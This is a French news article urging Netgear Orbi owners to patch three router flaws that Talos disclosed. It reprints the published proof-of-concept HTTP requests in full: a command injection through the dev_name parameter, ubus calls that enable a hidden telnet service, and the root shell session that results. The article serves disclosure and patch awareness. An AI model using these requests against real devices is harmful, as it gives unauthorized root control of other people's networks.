Si votre routeur Netgear Orbi n’est pas patché, vous voudrez changer cela illico

Si vous comptez sur le système sans fil maillé Orbi de Netgear pour vous connecter à Internet, vous devez vous assurer qu’il exécute le dernier micrologiciel maintenant que le code d’exploitation a été publié pour les vulnérabilités critiques dans les anciennes versions.

Le système sans fil maillé Netgear Orbi comprend un routeur concentrateur principal et un ou plusieurs routeurs satellites qui étendent la portée du réseau. En configurant plusieurs points d’accès dans une maison ou un bureau, ils forment un système maillé qui garantit que la couverture Wi-Fi est disponible partout.

Injecter à distance des commandes arbitraires

L’année dernière, des chercheurs de l’équipe de sécurité Talos de Cisco ont découvert quatre vulnérabilités et les ont signalées en privé à Netgear. La plus grave des vulnérabilités, identifiée comme CVE-2022-37337, réside dans la fonctionnalité de contrôle d’accès du RBR750. Les pirates peuvent l’exploiter pour exécuter des commandes à distance en envoyant des requêtes HTTP spécialement conçues à l’appareil. Le pirate doit d’abord se connecter à l’appareil, soit en connaissant le mot de passe SSID, soit en accédant à un SSID non protégé. La gravité de la faille est notée 9,1 sur 10 possibles.

En janvier, Netgear a publié des mises à jour du micrologiciel qui ont corrigé la vulnérabilité. Maintenant, Talos a publié un code d’exploitation de preuve de concept ainsi que des détails techniques.

« La fonctionnalité de contrôle d’accès de l’Orbi RBR750 permet à un utilisateur d’ajouter explicitement des appareils (spécifiés par une adresse MAC et un nom d’hôte) pour autoriser ou bloquer l’appareil spécifié lorsqu’il tente d’accéder au réseau », ont écrit les chercheurs de Talos. « Cependant, le paramètre dev_name est vulnérable à l’injection de commande. »

Le code d’exploitation publié est :

POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close

action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list

L’appareil répondra comme suit :

   root@RBR750:/tmp# ps | grep ping
   21763 root  	1336 S	ping 10.0.0.4

Deux autres vulnérabilités découvertes par Talos ont également reçu des correctifs en janvier. CVE-2022-36429 est également une faille d’exécution de commandes à distance qui peut être exploitée en envoyant une séquence de paquets malveillants qui créent un objet JSON spécialement conçu. Son indice de gravité est de 7,2.

L’exploit commence par utiliser la somme SHA256 du mot de passe avec le nom d’utilisateur « admin » pour renvoyer un cookie d’authentification requis pour démarrer une session telnet non documentée :

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}

Le jeton ‘ubus_rpc_session’ nécessaire pour démarrer le service telnet caché apparaît alors :

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45

{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}

L’adversaire ajoute alors un paramètre appelé ‘telnet_enable’ pour démarrer le service telnet :

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}

Le même mot de passe utilisé pour générer le hash SHA256 avec le nom d’utilisateur ‘admin’ permettra alors à un attaquant de se connecter au service :

$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.

login: admin
Password: === IMPORTANT ============================
 Use 'passwd' to set your login password
 this will disable telnet and enable SSH
------------------------------------------


BusyBox v1.30.1 () built-in shell (ash)

 	MM       	NM                	MMMMMMM      	M   	M
   $MMMMM    	MMMMM            	MMMMMMMMMMM  	MMM 	MMM
  MMMMMMMM 	MM MMMMM.          	MMMMM:MMMMMM:   MMMM   MMMMM
MMMM= MMMMMM  MMM   MMMM   	MMMMM   MMMM  MMMMMM   MMMM  MMMMM'
MMMM=  MMMMM MMMM	MM   	MMMMM	MMMM	MMMM   MMMMNMMMMM
MMMM=   MMMM  MMMMM      	MMMMM 	MMMM	MMMM   MMMMMMMM
MMMM=   MMMM   MMMMMM   	MMMMM  	MMMM	MMMM   MMMMMMMMM
MMMM=   MMMM 	MMMMM,	NMMMMMMMM   MMMM	MMMM   MMMMMMMMMMM
MMMM=   MMMM  	MMMMMM   MMMMMMMM	MMMM	MMMM   MMMM  MMMMMM
MMMM=   MMMM   MM	MMMM	MMMM  	MMMM	MMMM   MMMM	MMMM
MMMM$ ,MMMMM  MMMMM  MMMM	MMM   	MMMM   MMMMM   MMMM	MMMM
  MMMMMMM:  	MMMMMMM 	M     	MMMMMMMMMMMM  MMMMMMM MMMMMMM
	MMMMMM   	MMMMN 	M       	MMMMMMMMM  	MMMM	MMMM
 	MMMM      	M                	MMMMMMM    	M   	M
   	M
 ---------------------------------------------------------------
   For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
 ---------------------------------------------------------------
root@RBS750:/#

L’autre vulnérabilité corrigée est CVE-2022-38458, avec un indice de gravité de 6,5. Cela provient du fait que l’appareil invite les utilisateurs à entrer un mot de passe via une connexion HTTP, qui n’est pas cryptée. Un adversaire sur le même réseau peut alors renifler le mot de passe.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*